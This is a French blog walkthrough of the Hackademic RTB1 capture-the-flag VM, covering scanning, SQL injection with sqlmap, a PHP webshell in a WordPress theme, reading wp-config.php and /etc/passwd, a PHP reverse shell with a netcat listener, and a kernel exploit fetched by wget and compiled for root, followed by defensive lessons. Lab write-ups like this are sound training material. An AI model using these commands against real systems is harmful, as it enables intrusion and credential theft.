Skip to content

CTF Challenge : Hackademic RTB1

Les challenges CTF (Capture The Flag) sont généralement très formateurs dans le domaine de la sécurité informatique et de l’intrusion. Je vais ici vous détailler la méthode de résolution du challenge Hackademic RTB1.

Pour rappel, un CTF consiste généralement en une VM contenant des vulnérabilités mise en place à des fins de tests. Cela permet de s’attaquer à une cible fictive pour s’entraîner aux concepts des tests d’intrusion. Chercher à résoudre ces challenges consiste tout simplement à s’introduire à l’intérieur de la machine virtuelle pour arriver à y lire un fichier (appelé flag) dans le dossier home /root.

Je ne vais pas me contenter de vous donner la marche à suivre pour aller directement au but, mais plutôt travailler en mode bloc-notes. Vous verrez alors toute la démarche et la réflexion qu’il est possible d’avoir pour résoudre ce type de challenge. Cela permettra de découvrir différents outils ainsi que des pistes de recherches qui peuvent être concluantes dans d’autres contextes d’intrusion.

À nos claviers !

Un petit mot de sur la machine virtuelle

Il s’agit d’une machine virtuelle vulnérable construite par mr.pr0n. et que vous pourrez télécharger directement sur son site : https://www.vulnhub.com/entry/hackademic-rtb1,17/

Note : Le lien de download du créateur de la VM étant mort, je met le lien vulnhub, une plateforme qui centralise des VM CTF )

Cette machine virtuelle porte sur l’exploitation des services suivants :

  • Apache
  • MySQL
  • PHP

Voici les types de vulnérabilités que cette machine virtuelle permet d’étudier, sur les méthodes que j’ai utilisé du moins :

  • Mot de passe en clair
  • Privilege Escalation
  • Injection SQL
  • Droits fichiers
  • Exploit local

Je dirais que le niveau requis pour aborder cette machine est débutant/intermédiaire. Quelques notions basiques sont à connaître, l’important étant essentiellement de connaître les bons outils, leur fonctionnement et de savoir les utiliser.

Après avoir téléchargé la machine, il suffit de la démarrer pour qu’elle prenne une IP sur votre réseau. On pourra alors débuter la phase de scanning.

Pentest : la phase de scanning

La phase de scanning est des plus basiques, on va chercher à identifier notre cible, savoir ce qui tourne dessus, quels services, etc.

J’ai pour habitude d’utiliser netdiscover pour effectuer un scan du LAN. C’est une méthode ultra rapide en comparaison à nmap ou d’autres types de scan utilisant le ping. Si vous souhaitez avoir plus d’informations sur netdiscover et le scan ARP, je vous oriente vers cet article que j’ai rédigé :  Mapping réseau avec netdiscover via ARP

netdiscover -r 192.168.10.130/24

Voici ce qui s’affiche dans mon cas :

hackademic rtb1 solution
Hackademic RTB1 : Scan avec netdiscover

Après avoir effectué un tri sur les IP que je connaissais déjà dans mon LAN, j’identifie la machine cible avec l’IP 192.168.10.135

Nous pouvons maintenant essayer de voir ce que la machine veut bien nous montrer de l’extérieur, à savoir les ports ouverts, mais également essayer de déterminer son OS et les différentes versions associées à ces éléments. On peut pour cela utiliser nmap :

nmap -A -sS 192.168.10.135

On utilisera un scan SYN (voir cet article sur les scan TCP SYN Connect et FIN) en mettant l’option « -sS » et l’option « -A » qui permet la détection de l’OS, la détection des versions ainsi qu’un traceroute. C’est une option raccourcie qui permet d’avoir les fonctions de plusieurs autres options Nmap (pour aller plus vite 😉 ). Voici ce que l’on pourra voir :

hackademic rtb1 solution
Hackademic RTB1 : Scan de ports avec Nmap

On remarque que peu de ports sont ouverts. Le port HTTP a l’air ouvert, le 22 « closed ». Il faut savoir que par défaut, Nmap scanne les « well known ports » , c’est-à-dire les 1024 premiers. Il est alors possible que des services et ports soient peut-être présents sur les ports de 1024 à 65535. Mais cela nous prendrait pas mal de temps de tout scanner, essayons déjà de voir ce qu’il y a sur le port 80 (HTTP).

On commence par se rendre sur le port en question avec un navigateur web puisque nous remarquons que ce qui tourne sur ce port est effectivement un serveur web apache 2.2.15 sur une distribution Fedora. Une simple page web nous attend en page d’accueil  :

hackademic rtb1 solution
Hackademic RTB1 : Page d’accueil web

Dans le répertoire /Hackademic_RTB1/ semble être hébergé un service WordPress. Nous pouvons notamment voir cela dans le code source de la page d’accueil de ce répertoire :

hackademic rtb1 solution
Hackademic RTB1 : Présence de la version du CMS WordPress dans le code source

La version de WordPress semble dater, sachant qu’aujourd’hui nous en sommes à la version 4.4, la version affichée ici date de 2005. Encore un webmaster qui a oublié de faire ses mises à jour 😉

Le fait d’identifier un WordPress nous renseigne déjà sur l’architecture web cachée derrière ce site web, la simple installation d’un WordPress vierge permet de retrouver cette architecture, un répertoire wp-content/uploads pour les fichiers uploadés, un répertoire thème, un fichier wp-config.php dans lequel se situeront les informations de connexion à la base de données, un fichier wp-login.php permettant de se logguer et d’accéder au backOffice qui est dans le répertoire /wp-admin… Toutes ces informations auraient été plus difficiles à trouver s’il s’agissait d’un site fait main avec ses propres répertoires et sous répertoires. On peut d’ailleurs rapidement voir dans le billet qui s’affiche en home page le nom d’un auteur, qui pourrait être un login :

hackademic rtb1 solution
Hackademic RTB1 : Détection d’un potentiel login WordPress

On ne peut visiblement pas poster de commentaire en anonyme. Étant donné que la seule information que nous avons ici est un login, on peut commencer par tenter une connexion avec quelques mots de passe très basique comme « root« , le nom de l’utilisateur, « 123 » ou « admin » :

hackademic rtb1 solution
Hackademic RTB1 : Test d’authentification avec le login NickJames

 Il s’avère que le mot de passe « admin » fonctionne pour « NickJames », on arrive donc dans le backOffice avec une simplicité étonnante, continuons !

hackademic rtb1 solution
Hackademic RTB1 : Accès au backoffice WordPress en tant que NickJames

Il semble cependant que l’utilisateur ne soit pas un administrateur, il n’a en effet pas le droit de publier du nouveau contenu. Après avoir essayé par différents moyens d’insérer du code PHP dans différents champs comme le login, la description de l’utilisateur, je poursuis mes recherches sur le Front Office du site.

Pentest : la phase de recherche de vulnérabilité

Pour rechercher des vulnérabilités, je décide de passer par différents outils que j’ai l’habitude d’utiliser, je commence par nikto, un outil qui permet d’analyser des sites web à la recherche de vulnérabilités :

nikto -h http://192.168.10.135/Hackademic_RTB1

On spécifie simplement l’URL cible avec l’option « -h » . Résultat :

hackademic rtb1 solution nikto
Hackademic RTB1 : Scan web avec Nikto

Nikto me détecte les versions du serveur web, de PHP, quelques informations sur des vulnérabilités ou des faiblesses du serveur comme une faille XSS, des fichiers readme et licence pouvant m’informer de la version WordPress… J’essaye avec wpscan, un analyseur web spécialisé dans la recherche de vulnérabilité sur les CMS WordPress que je vous ai déjà présenté dans cet article : Scan et sécurité du CMS WordPress avec wpscan.

wpscan --url http://192.168.10.135/Hackademic_RTB1

Voici quelques informations plus intéressantes, différentes vulnérabilités sont rapportées, ce qui est normal vu la version du CMS installé et des plug-ins qui s’y trouvent :

hackademic rtb1 solution wpscan
Hackademic RTB1 : Analyse du CMS WordPress avec WPscan

Un dernier outil pour la route, que j’ai découverte il y a peu : Wapiti, il s’avère plus complet que nikto, car il permet de charger différents modules. Lorsqu’il est lancé sans option, il effectue un ensemble de tests en fonctionnant par module  :

wapiti http://192.168.10.134/Hackademic_RTB1

Voici un extrait de la sortie de Wapiti :

hackademic rtb1 solution
Hackademic RTB1 : Scan web avec Wapiti

On peut exclure de notre analyse tous les résultats ayant retourné un code d’erreur 500. Cependant, nous pouvons voir dans un des tests du module SQL qu’une injection SQL a été trouvée, essayons de l’exploiter.

En utilisant le paramètre « cat= » dans une requête HTTP GET, voilà qui est intéressant ! « cat » peut en effet signifier « catégorie » dans ce contexte, on peut d’ailleurs le confirmer en se rendant sur cette URL à la main :hackademic-rtb1-solution-221212

On voit alors une belle erreur SQL qui va nous permettre de tenter des injections SQL plus poussées, passons à l’exploitation des vulnérabilités trouvées.

Pentest : la phase d’exploitation

Nous allons commencer par travailler notre injection SQL. Pour cela, il est courant d’utiliser SQLmap, un outil permettant d’exploiter des injections SQL en très grand nombre, même si une exploitation à la main aurait été possible pour essayer de s’amuser un peu. Pour utiliser SQLmap, il faut spécifier l’URL complète vers la cible, mais on peut également aider SQLmap en détaillant le paramètre vulnérable (ici « cat ») et le type de système de base de données visé, présumons que c’est un MySQL ici :

sqlmap -u "http://192.168.10.135/Hackademic_RTB1/?cat=x" --dbms=mysql -p cat

SQLmap va alors effectuer plusieurs tests d’injection sur ce paramètre avant de nous préciser qu’il est effectivement vulnérable :

hackademic rtb1 solution
Hackademic RTB1 : Exploitation de l’injection SQL avec SQLmap

SQLmap propose, une fois l’injection identifiée, plusieurs options d’énumération et d’extractions d’informations :

hackademic rtb1 solution
Hackademic RTB1 : Options sqlmap pour l’exploitation d’une SQLi

En utilisant les options d’énumération de l’utilisateur courant et de la BDD courante, on apprend que la base de données se nomme « wordpress » et que l’utilisateur qui la gère n’est autre que « root » :

sqlmap -u "http://192.168.10.135/Hackademic_RTB1/?cat=x" --dbms=mysql -p cat --current-user --current-db
hackademic rtb1 solution
Hackademic RTB1 : Informations exploitées par l’injection SQL

L’utilisation de l’option « -a » (pour « all ») permet d’avoir une exploitation complète des informations pouvant être extraites :

sqlmap -u "http://192.168.10.135/Hackademic_RTB1/?cat=x" --dbms=mysql -p cat -a

SQLmap arrive d’ailleurs à lire le contenu de la table user de wordpress et ainsi y extraire les informations d’authentification de plusieurs utilisateurs, il me propose d’ailleurs de faire un hash inverse sur les hash trouvés :

hackademic rtb1 solution
Hackademic RTB1 : Hash trouvé via l’exploitation de l’injection SQL par SQLmap

Voilà qui est intéressant ! On peut essayer de croiser ces informations avec les extractions de logins présents également dans cette analyse pour essayer de nous loguer avec d’autres comptes WordPress.

Il s’avère que le mot de passe « q1w2e3 » fonctionne pour l’utilisateur « GeorgeMiller », qui possède des droits plus avancés, comme l’accès à la modification des fichiers plug-ins ou du thème :

hackademic rtb1 solution
Hackademic RTB1 : Accès au CMS WordPress via un compte admin

Cela est particulièrement intéressant, car la possibilité de modifier les fichiers php permet de positionner du code qui sera exécuté côté serveur (ce qui est le cas de PHP 😉 ) et donc d’avoir une possibilité d’action plus avancée, voyons quelles sont nos possibilités. En allant dans « Presentation » puis « Theme Editor », je sélectionne par exemple « header.php » qui est un fichier qui aura de bonnes chances d’être exécuté sur toutes les pages du blog. Je peux alors y insérer un webshell. Autrement dit un bout de code PHP qui va exécuter des commandes Shell sur le serveur pour ensuite me renvoyer le résultat.

hackademic rtb1 solution
Hackademic RTB1 : Possibilité de webshell via la modification des fichiers PHP

J’ajoute par exemple le webshell suivant en dessous de « <body> » :

<?php
$o = shell_exec('ls -al;pwd');
echo "<pre>$o</pre>";
?>

Je mets donc le résultat de la commande « ls -al;pwd », exécutée via la fonction shell_exec, dans une variable que j’affiche ensuite. L’utilisation de la balise « < pre> » permet d’afficher les sauts de lignes, ce qui est beaucoup plus pratique. Je retourne ensuite sur le front Office du site pour voir le résultat :

hackademic rtb1 solution
Hackademic RTB1 : Exploitation du webshell

Maintenant que notre webshell est en place, on peut librement (ou presque) parcourir le serveur, créer quelques fichiers.  Il faut se souvenir que l’on dispose uniquement des droits du serveur web, c’est à dire apache. Ce sont donc des droits restreins.

Comme nous l’avons vu dès le début, il s’agit d’un CMS WordPress, sur tous les CMS WordPress, les identifiants de la base de données sont situés dans le fichier wp-config.php, forcément lisibles par apache. Cependant si l’on souhaite se rendre sur ce fichier via une URL, on a naturellement une page blanche, car le code php exécuté n’affiche rien. On va donc copier le contenu de ce fichier dans un fichier .txt via notre webshell puis le lire via une URL. Je mets donc la commande

cp wp-config.php wp-config.txt

J’enregistre et exécute la home page à nouveau, puis je l’affiche dans mon navigateur avec l’URL : http://192.168.10.135/Hackademic_RTB1/wp-config.txt

Je vois donc ensuite le contenu de ce fichier de config :

hackademic rtb1 solution
Hackademic RTB1 : Affichage du fichier wp-config

Une information très intéressante nous est exposée ici, les identifiants root MySQL.

On peut également lister les utilisateurs présents sur le système, cela, car sous Linux, le fichier « /etc/passwd » est par défaut lisible par tous les utilisateurs. On positionne pour cela la commande « cat /etc/passwd » dans notre webshell :

hackademic rtb1 solution
Hackademic RTB1 : Affichage du contenu de /etc/passwd

La lecture du fichier /etc/passwd est souvent recherchée lors d’une attaque, car cela permet d’avoir une liste d’utilisateurs qui pourront être « éligibles » à un brute force via SSH. On voit par exemple que l’utilisateur « p0wnbox.Team » existe, on pourrait donc tenter un brute force SSH sur ce compte si le port était ouvert.

L’exploration du serveur est en général plus simple avec un reverse Shell et permet d’aller plus loin, notamment dans la partie Privilege Escalation.

Pentest : la phase « Privilege Escalation »

Le privilege escalation, ou « escalade de privilège » est le fait de chercher à avoir des droits supplémentaires par rapport à ceux déjà acquis. Nous sommes pour l’instant passé de simple visiteur à utilisateur admin du WordPress, puis nous avons obtenu les droits Apache, cherchons maintenant  à devenir un utilisateur avec plus de droits, voir root directement. Comme je le disais, le privilege escalation est difficile à obtenir avec un webshell, non interactif. Nous allons donc maintenant essayer de mettre un reverse Shell dans notre espace web. Pour faire simple, nous allons utiliser le désormais connu reverse Shell PHP de pentest monkey, un script déjà rédigé qu’il nous suffit de charger sur le serveur ciblé. On peut le récupérer à cette adresse : php-reverse-shell

Une fois que nous avons obtenu le script .php dans l’archive téléchargée, il faut adapter son contenu à notre contexte.

Un reverse Shell est un Shell qui va être lancé par le serveur ciblé vers la machine de l’attaquant qui elle, sera en écoute et en attente d’une connexion. Plus clairement, on va demander à apache de lancer un /bin/bash vers l’IP d’une machine que l’on contrôle, sur un port en écoute. On va donc, dans le script php reverse Shell, changer les valeurs suivantes :

hackademic rtb1 solution
Hackademic RTB1 : Modification de l’IP dans le script reverse Shell

On mettra dans la variable « ip », l’IP de notre machine d’attaque qui sera en écoute sur le port 1234. On pourra donc ensuite mettre le contenu de ce script dans le fichier header.php. Sans vouloir être discret, j’ai simplement supprimé  tout ce qui était en dessous de « <body> » dans le fichier.php par le contenu du reverse Shell. Un attaquant voulant se faire discret sera plus soigneux et créera sûrement un nouveau fichier afin de ne pas perturber l’affichage du site aux utilisateurs et ainsi révéler sa présence. Je me mets donc ensuite en écoute sur ma machine d’attaque via netcat :

netcat -l -p 1234

Puis je recharge la page du site pour lancer mon reverse Shell que voici :

hackademic rtb1 solution
Hackademic RTB1 : Exécution du reverse Shell

Nous voilà plus à l’aise avec un Shell interactif ! La méthode la plus simple pour avoir un accès root sur des systèmes non mis à jour est souvent de trouver un exploit local. Après plusieurs recherches et tests, je trouve l’exploit RDS Protocol. Une requête du type « Linux root exploit local privileges escalation » m’y amène rapidement, il faut ensuite bien vérifier que cet exploit fonctionne sur la version du kernel de notre machine cible. Je tombe sur cet article de tux-planet qui me guide assez bien : Linux RDS Protocol Privilege Escalation

Depuis mon reverse Shell, je me dirige vers le répertoire /var/www/html/Hackademic_RTB1 sur lequel j’ai des droits d’écriture en tant qu’apache, puis je télécharge l’exploit :

wget www.tux-planet.fr/public/hack/exploits/kernel/linux-rds-exploit.c

Je le compile ensuite :

gcc -o linux-rds-exploit linux-rds-exploit.c

Puis je l’exécute :

hackademic rtb1 solution
Hackademic RTB1 : Exécution de l’exploit local RDS

Nous voilà root ! On peut alors lire le fameux flag « key.txt ».

Quelles leçons en tirer  ?

Outre le défi technique que représente un challenge CTF, il est aussi intéressant d’avoir du recul par rapport à l’exercice pour en tirer des leçons au niveau des techniques de défense, qu’est-ce qui aurait pu être fait, si cette VM était en production, pour la protéger ?

  • Les mises à jour : L’importance des mises à jour est ici indéniable, l’exploit root découvert portait sur une version vulnérable du kernel Linux. Une « simple » mise à jour du système aurait rendu la tâche d’escalade de privilège, si ce n’est plus complexe, au moins plus longue. De même, la version de WordPress et de ses plug-ins a remonté des quantités de vulnérabilités lors du scan WPscan, même si celles-ci n’ont pas été exploitées dans l’exercice, l’obsolescence des outils et services met en danger le système et les données qu’il contient.
  • La sécurité des CMS : WordPress est l’un des CMS les plus utilisés, il est par conséquent la cible de nombreux attaquants. Sa sécurité est primordiale, on voit ici que c’est via le service web, et plus précisément grâce à WordPress, que nous avons pu prendre la main en tant que root sur le système. Des systèmes comme mod_security permettent de bloquer certaines requêtes malicieuses comme des injections SQL, outre la sécurité du CMS lui-même, la sécurité  du service web plus globalement est très importante : voir cet article sur l’installation et la configuration de mod_security
  • L’importance de prendre la place de l’attaquant : La partie recherche de vulnérabilité n’a ici pas été très complexe, deux ou trois outils bien utilisés permettent rapidement de trouver des vulnérabilités assez critiques comme que des obsolescences de version ou des injections SQL. Un sysadmin soucieux de la sécurité de son SI se doit de temps en temps de prendre la place d’un attaquant pour analyser son propre système d’information. La simple utilisation de scanner tel que nitko, wapiti ou wpscan est un premier pas très important, que ce soit pour la correction des vulnérabilités, le fait de cacher les versions pour éviter le banner grabbing, etc.

En espérant que cet article vous ait apporté quelques connaissances, n’hésitez pas à réagir dans les commentaires ! 🙂

Partager :
Published inChallenges et CTFs

4 Comments

  1. atoms97

    C’est juste dommage que le lien de téléchargement vers cette machine virtuelle soit mort :/

  2. ZzNicoZz

    Merci beaucoup pour cet article, très intéressant. Je vais en lire d’autres avec grand intérêt.
    C’est pas le premier article que je trouve bien sympa, super boulot sur ce site.
    Nico

  3. Gohy

    Hello!!
    Vraiment merci pour toutes ces informations, je me suis posé la question et maintenant j’ai la réponse de la manière dont se font les CTF sur les sites lol…
    Par contre, je vois que j’ai pas mal de boulot a faire avant d’attaquer, je suis débutant de chez débutant et cela me plaît, je suis surexciter d’apprendre afin de tester ces challenges et de comprendre la notion de sécurité et de failles.
    Bon déjà continuons a comprendre GNU/LINUX avant de s’attaquer au plus gros morceaux. Oh Yeah…

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *